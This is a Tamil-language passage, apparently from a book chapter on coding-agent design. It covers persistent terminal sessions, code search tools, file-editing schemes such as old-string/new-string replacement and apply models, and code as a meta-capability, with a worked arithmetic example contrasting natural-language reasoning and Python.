எனவே, ஒரு நிலையான முனைய அமர்வு பராமரிக்கப்பட வேண்டும், இது ஏஜெண்ட் தொடங்கும் போது உருவாக்கப்பட்டு முழு தொடர்பு முழுவதும் செயலில் வைக்கப்படும். ஒவ்வொரு கட்டளையும் இந்த பகிரப்பட்ட முனையத்தில் செயல்படுத்தப்படுகிறது, வேலை அடைவு, சூழல் மாறிகள் மற்றும் அமர்வு நிலையைப் பாதுகாக்கிறது. இந்த வடிவமைப்பு மனித டெவலப்பர்களின் வேலைப் பழக்கங்களுடன் மேலும் ஒத்துப்போகிறது—நாங்கள் பொதுவாக நீண்ட நேரம் இயங்கும் முனைய சாளரத்தில் வேலை செய்கிறோம். நிச்சயமாக, ஏஜெண்ட் இணை பணிகளை ஆதரிக்க தனிமைப்படுத்தப்பட்ட முனையங்களைத் தொடங்கும் திறனையும் தக்க வைத்துக் கொள்ள வேண்டும், ஆனால் நிலையான அமர்வு இயல்புநிலை முறையாக இருக்க வேண்டும்.

உடனடி தொடரியல் பின்னூட்ட பொறிமுறை.

இது மீண்டும் Agent நிலைப் பட்டி நுட்பத்தின் மதிப்பை நிரூபிக்கிறது. Agent குறியீட்டை மாற்றிய பின், பயனர் வெளிப்படையாகச் சோதனை செய்யக் கோரும் வரை காத்திருக்காமல், தொடரியலைச் சரிபார்க்க வேண்டும். மிகவும் திறமையான அணுகுமுறை: கோப்பு எழுதும் செயல்பாடு முடிந்தவுடன், கருவி அடுக்கு தானாகவே தொடர்புடைய லின்டர் அல்லது தொடரியல் சரிபார்ப்பியை இயக்கி, முடிவுகளை கருவியின் திரும்பும் மதிப்பின் ஒரு பகுதியாக Agent-க்கு வழங்க வேண்டும். ஒரு தொடரியல் பிழை கண்டறியப்பட்டால், Agent அடுத்த அனுமானச் சுற்றில் உடனடியாக விரிவான பிழைத் தகவலைக் காணும்—IDE-யில் ஒரு புரோகிராமர் தவறான அடைப்புக்குறியைத் தட்டச்சு செய்தால், எடிட்டர் உடனடியாக சிவப்புக் கோட்டை வரைவது போல. இந்த உடனடி பின்னூட்ட வழிமுறை பிழை திருத்தத்தின் செலவை கணிசமாகக் குறைக்கிறது, ஏனெனில் Agent பிழை அறிமுகப்படுத்தப்பட்ட தருணத்திலேயே அதைச் சரிசெய்ய முடியும், சோதனைகள் இயங்கும் வரை காத்திருக்காமல்.

இந்த ஐந்து செயலாக்க நுட்பங்களும்—இணைநிலை மற்றும் ஸ்ட்ரீமிங், சூழல் மேலாண்மை, சூழல் விழிப்புணர்வு, நிலை நிலைத்தன்மை, மற்றும் உடனடி பின்னூட்டம்—ஒன்றாகச் சேர்ந்து ஒரு திறமையான குறியீட்டு Agent-ன் தொழில்நுட்ப அடித்தளத்தை உருவாக்குகின்றன. அவை தனித்தனியான உகப்பாக்கப் புள்ளிகள் அல்ல, மாறாக ஒன்றையொன்று வலுப்படுத்தும் வடிவமைப்பு முடிவுகள், அனைத்தும் ஒரே இலக்கை நோக்கிச் செல்கின்றன: Agent ஒரு அனுபவமிக்க டெவலப்பரைப் போல சீராக வேலை செய்ய உதவுதல்.

குறியீட்டு Agent-களில் தேடல் கருவிகள்

ஒரு பெரிய குறியீட்டுத் தளத்தில் தொடர்புடைய குறியீட்டைக் கண்டறிவது ஒரு குறியீட்டு Agent-ன் பணியின் தொடக்கப் புள்ளியாகும். படம் 5-3 பல நிரப்பு தேடல் கருவிகளை ஒப்பிட்டு, ஒரு முதிர்ந்த குறியீட்டு Agent பணியின் தன்மையின் அடிப்படையில் மீட்டெடுப்பு முறைகளை எவ்வாறு தேர்ந்தெடுக்க வேண்டும் என்பதை விளக்குகிறது.

Regex உள்ளடக்கப் பொருத்தம் (grep/ripgrep): மிகவும் பாரம்பரியமான தேடல் முறை, கோப்பு உள்ளடக்கங்களை வரி வரியாக ஸ்கேன் செய்து வடிவங்களைப் பொருத்துகிறது. Agent கண்டுபிடிக்க வேண்டிய குறிப்பிட்ட உரையை (செயல்பாட்டுப் பெயர்கள், மாறி பெயர்கள், பிழை செய்திகள்) அறிந்திருக்கும்போது, அது அனைத்து நிகழ்வுகளையும் விரைவாகவும் துல்லியமாகவும் கண்டறிய முடியும். ரெகுலர் எக்ஸ்பிரஷன்களின் (சிறப்பு குறியீடுகளைப் பயன்படுத்தி உரை வடிவங்களை விவரிக்கும் ஒரு தொடரியல், எ.கா., def handle.* என்பது handle-ல் தொடங்கும் அனைத்து செயல்பாட்டு வரையறைகளையும் பொருத்தும்) சக்திவாய்ந்த வெளிப்பாட்டுத் திறன் சிக்கலான வடிவங்களைப் பிடிக்க முடியும், எழுத்து உரையை மட்டுமல்ல, குறிப்பிட்ட கட்டமைப்புகளுக்கு ஏற்ப குறியீட்டுத் துணுக்குகளையும் தேடலாம். நடைமுறையில், சத்தத்தைக் குறைக்க கோப்பு வகை வடிகட்டுதல் (Python கோப்புகளை மட்டும் தேடு) மற்றும் பாதை வடிவ வடிகட்டுதல் (சோதனை அடைவுகளை விலக்கு) ஆகியவையும் ஆதரிக்கப்பட வேண்டும். அடிப்படை வரம்பு என்னவென்றால், இது உரையியல் ரீதியாகப் பொருந்தும் உள்ளடக்கத்தை மட்டுமே கண்டுபிடிக்க முடியும், சொற்பொருளைப் புரிந்து கொள்ள முடியாது—"பயனர் அங்கீகாரம்" எனத் தேடினால், உள்நுழைவு தர்க்கத்தைக் கையாளும் ஆனால் "அங்கீகாரம்" என்ற வார்த்தையைக் கொண்டிருக்காத செயல்பாடுகளைக் கண்டுபிடிக்க முடியாது.

கோப்பு பெயர் வடிவப் பொருத்தம் (glob): கோப்பு உள்ளடக்கத்தைப் புறக்கணித்து, ஒரு மாதிரியுடன் பொருந்தும் கோப்புகளுக்காக கோப்பு முறைமையின் பாதை அமைப்பை மட்டுமே தேடுகிறது. எடுத்துக்காட்டாக, **/*.test.ts என்பது அனைத்து TypeScript சோதனைக் கோப்புகளையும் மீண்டும் மீண்டும் கண்டுபிடிக்கும், src/components/**/Button.tsx என்பது components-இன் கீழ் எந்த ஆழத்திலும் Button.tsx-ஐத் தேடும். இது உள்ளடக்கத் தேடலை விட மிக வேகமானது (கோப்புகளைத் திறந்து படிக்க வேண்டிய அவசியமில்லை) மற்றும் திட்ட அமைப்பை ஆராய்வதில் Agent-ன் முதல் படியாகும்—முழு கோப்பு முறைமையையும் ஸ்கேன் செய்வதன் மூலம் திட்டத்தின் நிறுவன கட்டமைப்பை விரைவாக நிறுவுகிறது.

சொற்பொருள் குறியீடு தேடல்: முதல் இரண்டு சரியான பொருத்த முறைகளைப் போலல்லாமல், இது வினவல் மற்றும் குறியீட்டின் "பொருளை" புரிந்துகொள்ள முயற்சிக்கிறது. இது இரண்டு முக்கிய பிரச்சினைகளைத் தீர்க்க வேண்டும்:

• கட்டமைப்பு-உணர்வுள்ள துண்டாக்குதல்: குறியீடு கடுமையான தொடரியல் கட்டமைப்பைக் கொண்டுள்ளது மற்றும் செயல்பாடுகள், வகுப்புகள் மற்றும் முறைகள் போன்ற முழுமையான சொற்பொருள் அலகுகளால் பிரிக்கப்பட வேண்டும், நிலையான எண்ணிக்கையிலான எழுத்துக்களால் கண்மூடித்தனமாக வெட்டப்படக்கூடாது.
• கலப்பின மீட்டெடுப்பு (அத்தியாயம் 3 இந்த தொழில்நுட்ப அடுக்கை விவரிக்கிறது): திசையன் உட்பொதிப்புகள் (அடர்த்தியான உட்பொதிப்புகள்) வெவ்வேறு சொற்களைக் கொண்ட சொற்பொருள் ரீதியாக ஒத்த குறியீட்டைக் கண்டுபிடிப்பதில் சிறந்து விளங்குகின்றன (எ.கா., "பயனர் அடையாளத்தைச் சரிபார்க்கவும்" என்று தேடுவது check_credentials என்ற செயல்பாட்டைக் கண்டுபிடிக்கும்), அதே நேரத்தில் முக்கிய சொல் பொருத்தம் (BM25, சொல் அதிர்வெண் மற்றும் ஆவண நீளத்தின் அடிப்படையிலான ஒரு சிறந்த மீட்டெடுப்பு வழிமுறை) செயல்பாடு மற்றும் மாறி பெயர்களைத் துல்லியமாகப் பொருத்துவதில் சிறந்து விளங்குகிறது. இரண்டும் இணையாக இயங்குகின்றன, மேலும் முடிவுகள் ஒரு மறுமதிப்பீட்டாளரால் (reranker) ஒன்றிணைக்கப்பட்டு வரிசைப்படுத்தப்படுகின்றன (வேட்பாளர் முடிவுகளில் நுண்ணிய பொருத்தப்பாட்டு தரவரிசையைச் செய்யும் ஒரு குறுக்கு-குறியாக்கி), இது நிரப்பு கவரேஜை வழங்குகிறது.

சொற்பொருள் தேடல் ஆய்வுப் பணிகளுக்கு மிகவும் பொருத்தமானது, எடுத்துக்காட்டாக, அறிமுகமில்லாத குறியீட்டுத் தளத்தில் "தரவுத்தளத்துடன் தொடர்புகொள்வது" அல்லது "பயனர் உள்ளீட்டு சரிபார்ப்பைக் கையாள்வது" தொடர்பான குறியீட்டைக் கண்டுபிடிப்பது.

இருப்பினும், சொற்பொருள் தேடலுக்கான உட்பொதிப்பு குறியீடுகளை உருவாக்குவது மதிப்புள்ளதா என்பது குறித்து தொழில்துறையில் தெளிவான விவாதம் உள்ளது. Claude Code போன்ற முனையம் சார்ந்த Agents வேண்டுமென்றே உட்பொதிப்பு அட்டவணைகளை (embedding index) உருவாக்குவதில்லை, மாறாக நிகழ்நேர மீட்டெடுப்புக்காக agentic grep + glob-ஐ மட்டுமே நம்பியுள்ளன—இது குறியீடு உருவாகும்போது காலாவதியாகும் அட்டவணைகளைப் பராமரிப்பதைத் தவிர்க்கிறது, முழு அட்டவணைப்படுத்தல் உள்கட்டமைப்பையும் நீக்குகிறது, மேலும் குறியீடு உட்பொதிப்புகளை மூன்றாம் தரப்பு சேவைகளுக்கு அனுப்பும் அபாயத்தையும் தவிர்க்கிறது. Cursor போன்ற IDE-அடிப்படையிலான கருவிகள் எதிர் அணுகுமுறையை எடுக்கின்றன: கோப்புக் குறுக்கேயான சொற்பொருள் நினைவுகூரலுக்காக அட்டவணைகளை உருவாக்கும் செலவைச் செலுத்த அவை தயாராக உள்ளன, பெரிய குறியீட்டுத் தளங்களில் சொற்பொருள் ரீதியாக தொடர்புடைய ஆனால் வித்தியாசமான சொற்களைக் கொண்ட துணுக்குகளை விரைவாகக் கண்டுபிடிக்க உட்பொதிப்பு அட்டவணைகளைப் பயன்படுத்துகின்றன. இரண்டு வழிகளுக்கும் இடையிலான பரிமாற்றம் அடிப்படையில் "உள்கட்டமைப்பு மற்றும் தரவு வெளியேற்றத்தின் செலவு" மற்றும் "கோப்புக் குறுக்கேயான சொற்பொருள் நினைவுகூரலின் நன்மை" ஆகியவற்றை எடைபோடுவதில் அடங்கியுள்ளது.

சிம்பல்-நிலை வரையறை மற்றும் குறிப்புத் தேடல்: IDE-யின் "வரையறைக்குச் செல்" மற்றும் "அனைத்துக் குறிப்புகளையும் கண்டுபிடி" திறன்களை (LSP, அல்லது Language Server Protocol—எடிட்டர்களுக்கும் மொழி பகுப்பாய்வு இயந்திரங்களுக்கும் இடையேயான தகவல்தொடர்புக்கான ஒரு நிலையான நெறிமுறை) அடிப்படையாகக் கொண்டு, இது ஒரே பெயரைக் கொண்ட சிம்பல்களின் (symbols) வரையறை மற்றும் அழைப்புகளை வேறுபடுத்தி அறிய முடியும்—எடுத்துக்காட்டாக, வரி 42-ல் உள்ள authenticate என்பது ஒரு செயல்பாட்டு வரையறை என்பதையும், வரி 189-ல் அது ஒரு அழைப்பு என்பதையும் இது அறியும், அதேசமயம் உரைத் தேடலால் அந்த சரத்தைக் கொண்ட அனைத்து வரிகளையும் மட்டுமே கண்டுபிடிக்க முடியும். குறியீட்டு மறுகட்டமைப்புக்கு இது மிகவும் முக்கியமானது—ஒரு செயல்பாட்டின் பெயரை மாற்றும்போது, உரைத் தேடலை மட்டும் நம்பியிருக்க முடியாது (செயல்பாட்டின் பெயர் கருத்துகள் அல்லது சரங்களில் தோன்றக்கூடும்); வரையறை மற்றும் அனைத்து உண்மையான அழைப்பு இடங்களையும் துல்லியமாகக் கண்டறிய சிம்பல் தேடலைப் பயன்படுத்த வேண்டும்.

இந்த நான்கு தேடல் முறைகளும் ஒரு நிரப்பு கருவித்தொகுப்பை உருவாக்குகின்றன, மேலும் நடைமுறையில் பெரும்பாலும் ஒருங்கிணைந்து பயன்படுத்தப்படுகின்றன: முதலில் தொடர்புடைய தொகுதிகளைக் கண்டறிய சொற்பொருள் தேடலைப் பயன்படுத்தவும், பின்னர் குறிப்பிட்ட குறியீட்டு வரிகளைத் துல்லியமாகக் கண்டறிய regex பொருத்தத்தைப் பயன்படுத்தவும், இறுதியாக அழைப்புச் சங்கிலியைக் கண்டறிய சிம்பல் தேடலைப் பயன்படுத்தவும்—இது "தோராயத்திலிருந்து துல்லியத்திற்கு, சொற்பொருளிலிருந்து தொடரியலுக்கு" என்ற முற்போக்கான உத்தியாகும்.

குறியீட்டு ஏஜெண்ட்களில் கோப்பு திருத்தும் கருவிகள்

கோப்பு திருத்தலின் சிரமம் அந்த செயல்பாட்டில் இல்லை, மாறாக LLM-ஐப் பயன்படுத்தி "எதை மாற்ற வேண்டும், எப்படி மாற்ற வேண்டும்" என்பதை திறமையாகவும் நம்பகத்தன்மையுடனும் கணினியிடம் எவ்வாறு சொல்வது என்பதில் உள்ளது. படம் 5-4 ஐந்து கோப்பு திருத்தும் திட்டங்களை ஒப்பிடுகிறது, இது மனித மொழி வெளிப்பாட்டிற்கும் இயந்திரத்தின் துல்லியமான செயலாக்கத்திற்கும் இடையேயான அடிப்படை முரண்பாட்டை விளக்குகிறது.

வேறுபாடு விளக்கம் + பயன்பாட்டு மாதிரி (Apply Model): மாதிரியானது கோப்பை எவ்வாறு திருத்துவது என்பதை நேரடியாகக் குறிப்பிடுவதில்லை; மாறாக, அது ஒரு மாற்ற விளக்கத்தை உருவாக்குகிறது—இது git diff ஐப் போன்ற ஒரு வேறுபாடு உரையாக இருக்கலாம் (git diff கட்டளையால் வெளியிடப்படும் வடிவம், "எந்த வரிகள் நீக்கப்பட்டன, எந்த வரிகள் சேர்க்கப்பட்டன" என்பதைக் காட்டுகிறது), அல்லது விடுபட்ட குறிப்பான்களுடன் கூடிய குறியீட்டு எலும்புக்கூடாக இருக்கலாம் (மாற்றப்படாத பகுதிகளைத் தவிர்க்க "இங்கு மாறாமல் உள்ளது" போன்ற கருத்துரைகளைப் பயன்படுத்தி). இந்த விளக்கம் பின்னர் ஒரு சிறப்பு "பயன்பாட்டு மாதிரி"க்கு வழங்கப்படுகிறது—பொதுவாக மற்றொரு, சிறிய, வேகமான LLM—இது அசல் கோப்புடன் இணைத்து முழுமையான புதிய கோப்பை உருவாக்கும் பொறுப்பைக் கொண்டுள்ளது. இந்தப் பணிப் பிரிப்பு, முதன்மை மாதிரியானது உயர்-நிலை குறியீட்டு தர்க்கத்திலும், பயன்பாட்டு மாதிரியானது குறைந்த-நிலை உரை செயல்பாடுகளிலும் கவனம் செலுத்த அனுமதிக்கிறது. ஒரு எளிய செயலாக்கத்தின் பலவீனம் இணைப்பு படிநிலையில் உள்ளது: மாற்ற விளக்கத்திற்கும் உண்மையான கோப்பு குறியீட்டிற்கும் இடையே சிறிய முரண்பாடுகள் இருக்கும்போது, அவை ஒரே இடத்தைக் குறிப்பிடுகின்றனவா என்பதை தீர்மானிக்க வேண்டும்; பல ஒத்த குறியீட்டுத் துண்டுகள் இருக்கும்போது, அது தவறான இடத்தில் இணைக்கப்படலாம். இந்த அணுகுமுறையின் தொடர்ச்சியான பரிணாமத்திற்கு Cursor ஒரு பிரதிநிதியாகும்: முதன்மை மாதிரியானது விடுபட்ட குறிப்பான்களுடன் கூடிய குறியீட்டு எலும்புக்கூட்டை வெளியிடுகிறது, சிறப்பாகப் பயிற்றுவிக்கப்பட்ட வேகமான-பயன்பாட்டு சிறிய மாதிரியானது முழுமையான கோப்பை மீண்டும் எழுதுகிறது, மற்றும் ஊக குறியாக்கம் (அசல் கோப்பு உள்ளடக்கத்தை இணைச் சரிபார்ப்புக்கான வரைவாகப் பயன்படுத்தி) இணைப்பு வேகத்தை வினாடிக்கு ஆயிரக்கணக்கான டோக்கன்களுக்குத் தள்ளுகிறது—பொறியியல் முதலீடு இந்த அணுகுமுறைக்கு நம்பகத்தன்மையையும் வேகத்தையும் வாங்கித் தந்துள்ளது.

பழைய சரம் → புதிய சரம்: Claude Code ஆல் பின்பற்றப்படும் அணுகுமுறை. மாதிரியானது ஒரு பழைய சரத்தை (மாற்றப்பட வேண்டிய அசல் உரை) மற்றும் ஒரு புதிய சரத்தை (மாற்று உரை) வழங்குகிறது, மேலும் கட்டமைப்பானது ஒரு எளிய சரம் கண்டுபிடித்து-மாற்றும் செயலைச் செய்கிறது. நன்மை கணிக்கக்கூடிய தன்மை மற்றும் வெளிப்படைத்தன்மை—பழைய சரம் கோப்பில் இருந்து தனித்துவமானதாக இருந்தால், அது வெற்றி பெறுகிறது; இல்லையெனில், அது தோல்வியடைகிறது. எந்த தெளிவின்மையும் இல்லை. செலவு என்னவென்றால், பெரிய குறியீட்டுத் தொகுதிகளை நீக்குவதற்கு அனைத்து அசல் உள்ளடக்கத்தையும் முழுமையாக வெளியிட வேண்டும்; ஒரு எழுத்து விலகல் பொருத்தம் தோல்வியடைய காரணமாகிறது. ஒரே குறியீடு பல முறை தோன்றும்போது, தெளிவுபடுத்த நீண்ட சூழலை வழங்க வேண்டும்.

வரி எண் இலக்கு (பழைய வரி எண்கள் → புதிய சரம்): மாதிரியானது "X முதல் Y வரையிலான வரிகளை நீக்கு, புதிய உள்ளடக்கத்தைச் செருகு" எனக் குறிப்பிடுகிறது. வரி எண்கள் துல்லியமானவை மற்றும் தெளிவற்றவை, மேலும் பெரிய தொகுதிகளை நீக்குவதற்கு இரண்டு எண்கள் மட்டுமே தேவை. இருப்பினும், மாதிரியானது வரி எண்களை "எண்ணுவதில்" பிழைகள் செய்ய வாய்ப்புள்ளது, குறிப்பாக மிக நீண்ட கோப்புகளுக்கு. நடைமுறையில், கோப்பைப் படிக்கும்போது ஒவ்வொரு வரியிலும் வரி எண் குறிப்புகளைச் சேர்ப்பதன் மூலம் இது குறைக்கப்படுகிறது, ஆனால் ஒவ்வொரு திருத்தத்திற்குப் பிறகும் அடுத்தடுத்த வரி எண்கள் மாறுகின்றன, இது பல திருத்தங்களின் இணைநிலையைக் கட்டுப்படுத்துகிறது.

Vim-போன்ற திருத்த கட்டளைகள்: Vim எடிட்டரின் கட்டளை அமைப்பிலிருந்து கடன் வாங்கப்பட்டது, நகலெடுத்தல், வெட்டுதல் மற்றும் ஒட்டுதல் போன்ற வளமான செயல்பாடுகளை ஆதரிக்கிறது. குறியீட்டை மறுகட்டமைப்பதற்கு (ஒரு செயல்பாட்டை ஒரு இடத்திலிருந்து மற்றொரு இடத்திற்கு நகர்த்துதல்) மிகவும் திறமையானது. இருப்பினும், கட்டளை தொடரியல் குறிப்பிடத்தக்க கற்றல் சுமையைக் கொண்டுள்ளது; வலுவான மாதிரிகள் இதை நன்றாகப் பயன்படுத்த முடியும், ஆனால் சிறிய மாதிரிகள் குறிப்பிடத்தக்க அளவில் அதிக பிழை விகிதத்தைக் கொண்டுள்ளன.

சரம் தொடக்கம் + முடிவு பொருத்துதல் (பழைய சரம் தொடக்கம் + முடிவு → புதிய சரம்): இது பழைய சரம் மாற்று முறையின் மேம்படுத்தப்பட்ட வடிவமாகக் கருதப்படலாம். மாதிரியானது முழுமையான பழைய சரத்தை வெளியிட வேண்டியதில்லை; அது நீக்கப்பட வேண்டிய உள்ளடக்கத்தின் முதல் சில வரிகளையும் கடைசி சில வரிகளையும் மட்டுமே வழங்க வேண்டும், நடுப்பகுதியைத் தவிர்த்துவிடும். இந்தத் தொடக்கம் மற்றும் முடிவு இணை கோப்பில் தனித்துவமாக இருக்கும் வரை, இந்த ஜோடியைப் பொருத்துவதன் மூலம் கட்டமைப்பு மாற்றீட்டுப் பகுதியைக் கண்டறிகிறது. இந்த முறை உரை மாற்றீட்டின் நம்பகத்தன்மையையும் வரி எண் அணுகுமுறையின் செயல்திறனையும் ஒருங்கிணைக்கிறது—பெரிய குறியீட்டுத் தொகுதிகளை நீக்கும்போது, நூற்றுக்கணக்கான வரி அசல் குறியீட்டை வெளியிட வேண்டிய அவசியமில்லை, எல்லைகளை மட்டும் காட்டினால் போதும். அதே நேரத்தில், இது இன்னும் சுருக்க வரி எண்களை விட உள்ளடக்கப் பொருத்தத்தை அடிப்படையாகக் கொண்டிருப்பதால், மாதிரி பிழைகள் செய்யும் ஆபத்து ஒப்பீட்டளவில் குறைவு.

நடைமுறை ஆலோசனை. ஒட்டுமொத்தமாக, முக்கியமான குறியீட்டு ஏஜெண்டுகள் ஒவ்வொன்றும் இரண்டு பாதைகளில் தங்கள் சொந்த பிரதிநிதிகளைக் கொண்டுள்ளன: Claude Code "பழைய சரத்திலிருந்து புதிய சரத்திற்கு" அணுகுமுறையைப் பின்பற்றுகிறது—நம்பகத்தன்மைக்கு முன்னுரிமை அளித்தல், செயல்படுத்த எளிதானது மற்றும் கூடுதல் மாதிரி தேவையில்லை; மறுபுறம், Cursor, Apply Model பாதையை அதன் உச்சத்திற்கு எடுத்துச் சென்றுள்ளது—அதிக எடிட்டிங் செயல்திறனுக்காக ஒரு பிரத்யேக விரைவு-பயன்பாட்டு மாதிரியின் பயிற்சி மற்றும் அனுமானத்தில் முதலீடு செய்தல். உங்கள் சொந்த ஏஜெண்டை உருவாக்க, "பழைய சரத்திலிருந்து புதிய சரத்திற்கு" அணுகுமுறை மிகவும் பாதுகாப்பான தொடக்கப் புள்ளியாகும்; பெரிய அளவிலான திருத்தங்களைக் கையாளும் போது, "சரம் தொடக்கம் + முடிவு பொருத்துதல்" மிகவும் சிக்கனமான சமரசமாகும்; வரி எண் அணுகுமுறை ஆழமான IDE ஒருங்கிணைப்பு உள்ள சூழ்நிலைகளில் மட்டுமே நம்பகமானது (எடிட்டர் நிகழ்நேர வரி எண் மேப்பிங்கைப் பராமரிக்கும் மற்றும் ஒவ்வொரு திருத்தத்திற்குப் பிறகும் உடனடியாக மாதிரிக்கு மீண்டும் வழங்க முடியும்); இல்லையெனில், வரி எண் நகர்வு காரணமாக தோல்வியடைய வாய்ப்புள்ளது.

குறியீடு: ஒரு பொது ஏஜெண்டின் மெட்டா-திறன்

முந்தைய பகுதி, நம்பகமான குறியீட்டு ஏஜெண்டை எவ்வாறு உருவாக்குவது என்பதை நிரூபித்தது—கட்டமைப்பு வடிவமைப்பிலிருந்து கருவி செயலாக்கம் மற்றும் Harness பொறியியல் வரை. ஆனால் குறியீடு உருவாக்கத்தின் மதிப்பு வெறும் நிரல்களை எழுதுவதைத் தாண்டி வெகுதூரம் நீண்டுள்ளது.

"மெட்டா-திறன்" என்றால் என்ன? ஒரு சாதாரண திறன் என்பது ஒரு ஏஜெண்டின் ஒரு குறிப்பிட்ட காரியத்தைச் செய்யும் திறன்—ஒரு கேள்விக்கு பதிலளிப்பது, ஒரு குறிப்பிட்ட API-ஐ அழைப்பது, ஒரு உரைத் துண்டை உருவாக்குவது. ஒரு மெட்டா-திறன் என்பது "மற்ற திறன்களை உருவாக்கக்கூடிய" ஒரு திறன்: ஏஜெண்ட் அதைப் பயன்படுத்தி புதிய கருவிகள், புதிய கட்டுப்பாடுகள் மற்றும் புதிய வெளிப்பாட்டு வடிவங்களை இயக்க நேரத்தில் எழுதி ஒரு பணியை முடிக்கிறது, எல்லா திறன்களும் முன்கூட்டியே கட்டமைக்கப்பட வேண்டிய அவசியமில்லை. குறியீடு உருவாக்கம் துல்லியமாக இதுபோன்ற ஒரு மெட்டா-திறன் ஆகும்—இது துல்லியமானது, செயல்படுத்தக்கூடியது மற்றும் இணைக்கக்கூடியது, இது புதிய கருவிகளை (ஸ்கிரிப்ட்கள், API அழைப்பு வரிசைகள்), புதிய கட்டுப்பாடுகளை (உறுதிப்பாடுகள், சரிபார்ப்பு விதிகள்) மற்றும் புதிய வெளிப்பாட்டு வடிவங்களை (HTML படிவங்கள், PPTகள், வீடியோ பிரேம்கள்) உருவாக்க அனுமதிக்கிறது.

இந்த காரணத்திற்காக, ஒரு ஏஜெண்ட் அமைப்பில் குறியீடு வகிக்கும் பங்கு "நிரல்களை எழுதுதல்" என்பதை விட மிகவும் விரிவானது. அடுத்த ஆறு பிரிவுகள் ஒவ்வொன்றும், நிரலாக்கத்திற்கு அப்பால் இந்த மெட்டா-திறனைப் பயன்படுத்தக்கூடிய ஆறு திசைகளை நிரூபிக்கும்: (1) சிந்தனை கருவிகள்—கடுமையான பகுத்தறிவுக்கு இயற்கை மொழிக்குப் பதிலாக குறியீட்டைப் பயன்படுத்துதல்; (2) வணிக விதி கட்டுப்பாடுகள்—கொள்கைகளை உறுதிப்படுத்தவும் மாதிரி மாயத்தோற்றங்களைத் தவிர்க்கவும் குறியீட்டைப் பயன்படுத்துதல்; (3) மல்டிமீடியா உருவாக்கம்—PPTகள்/வீடியோக்கள்/காட்சிப்படுத்தல்களை உருவாக்க குறியீட்டைப் பயன்படுத்துதல்; (4) அமைப்பு இணைப்பிகள்—பன்முக APIகளை இணைக்க குறியீட்டைப் பயன்படுத்துதல்; (5) உருவாக்கும் UI—படிவங்கள் மற்றும் இடைமுகங்களை மாறும் வகையில் உருவாக்க குறியீட்டைப் பயன்படுத்துதல்; (6) பூட்ஸ்ட்ராப்பிங்—புதிய ஏஜெண்ட்களை உருவாக்க குறியீட்டைப் பயன்படுத்துதல்.

இந்த ஆறு திசைகளும் இணையான பட்டியல் அல்ல, மாறாக "மெட்டா-திறனின் பொருள்" அடிப்படையில் உள்ளிருந்து வெளியே ஒழுங்கமைக்கப்பட்டுள்ளன:

1. சிந்தனையே—பிழை ஏற்பட வாய்ப்புள்ள இயற்கை மொழி பகுத்தறிவுக்குப் பதிலாக குறியீட்டைப் பயன்படுத்துதல் (சிந்தனை கருவிகள்);
2. வணிக விதிகள்—தெளிவற்ற கொள்கைகளை செயல்படுத்தக்கூடிய கட்டுப்பாடுகளாக குறியாக்கம் செய்தல் (வணிக விதி கட்டுப்பாடுகள்);
3. உள்ளடக்க வழங்கல்—PPTகள், வீடியோக்கள் மற்றும் காட்சிப்படுத்தல் கலைப்பொருட்களை உருவாக்குதல் (மல்டிமீடியா உருவாக்கம்);
4. அமைப்பு இடைமுகங்கள்—பன்முக APIகளை இணைத்தல், தரவு வடிவ மாற்றங்களுக்கு தானாகவே மாற்றியமைத்தல் (அமைப்பு இணைப்பிகள்);
5. பயனர் இடைமுகங்கள்—படிவங்கள் மற்றும் ஊடாடும் இடைமுகங்களை மாறும் வகையில் உருவாக்குதல் (உருவாக்கும் UI);
6. ஏஜெண்டே—புதிய ஏஜெண்ட்களை உருவாக்க குறியீட்டைப் பயன்படுத்துதல், ஒரு பூட்ஸ்ட்ராப்பை உருவாக்குதல் (எடைகளை மாற்றாத அத்தியாயம் 8 இல் உள்ள "சுய-பரிணாமத்திலிருந்து" வேறுபட்டது).

இந்த "உள்ளிருந்து வெளியே, இறுதியில் தனக்குள்ளேயே திரும்பும்" நூலைப் பின்பற்றி வாசிப்பது, குறியீட்டின் ஒருங்கிணைந்த மதிப்பை மெட்டா-திறனாக தெளிவாகக் காண உதவும். தேவைக்கேற்ப புதிய கருவிகளை உருவாக்குவது இந்த மெட்டா-திறனின் மேலும் ஒரு நீட்டிப்பாகும், இது அத்தியாயம் 8 இல் விரிவாக விளக்கப்படும்.

சிந்தனை கருவியாக குறியீடு

LLMகள் இயற்கை மொழி புரிதல் மற்றும் உருவாக்கத்தில் குறிப்பிடத்தக்க செயல்திறனை வெளிப்படுத்துகின்றன, ஆனால் துல்லியமான கணக்கீடு, குறியீட்டு கையாளுதல் அல்லது கடுமையான தர்க்கரீதியான அனுமானத்தில் அவை அடிப்படை குறைபாடுகளைக் கொண்டுள்ளன. காரணம், மாதிரியின் சிந்தனை இயல்பாகவே நிகழ்தகவு மற்றும் தோராயமானது, அதேசமயம் கணித மற்றும் தர்க்க சிக்கல்களுக்கு உறுதியான, துல்லியமான பதில்கள் தேவை. ஒரு குறிப்பிட்ட ஒப்பீடு இதை விளக்குகிறது:

சிக்கல்: "ஒரு வகுப்பில் 40 மாணவர்கள் உள்ளனர். 60% கணிதம் எடுக்கிறார்கள், 45% இயற்பியல் எடுக்கிறார்கள், 25% இரண்டையும் எடுக்கிறார்கள்.
          எத்தனை மாணவர்கள் இயற்பியலை மட்டுமே எடுக்கிறார்கள், கணிதத்தை அல்ல?"

தூய இயற்கை மொழி பகுத்தறிவு (பிழைகள் ஏற்பட வாய்ப்புள்ளது):      குறியீடு பகுத்தறிவு (துல்லியமான மற்றும் சரிபார்க்கக்கூடியது):
"60% கணிதம் = 24 மாணவர்கள்,                           math = int(40 * 0.60)    # 24
 45% இயற்பியல் = 18 மாணவர்கள்,                        phys = int(40 * 0.45)    # 18
 25% இரண்டும் = 10 மாணவர்கள்,                           both = int(40 * 0.25)    # 10
 இயற்பியல் மட்டும் = 24 - 10 = 14 மாணவர்கள்"                  only_phys = phys - both  # 8
→ கணித எண்ணிக்கையிலிருந்து தவறாக கழிக்கப்பட்டது, பதில் தவறு    → print(only_phys)  # 8 ✓

LLM-ஐ பிரச்சினையைப் புரிந்துகொள்வதற்கும் குறியீட்டை எழுதுவதற்கும் பொறுப்பாக்கி, குறியீடு விளக்கியை (code interpreter) துல்லியமான கணக்கீட்டிற்கும் பொறுப்பாக்க வேண்டும்—இந்தப் பணிப்பகிர்வு ஒவ்வொன்றும் தனது பலத்தைப் பயன்படுத்த அனுமதிக்கிறது.

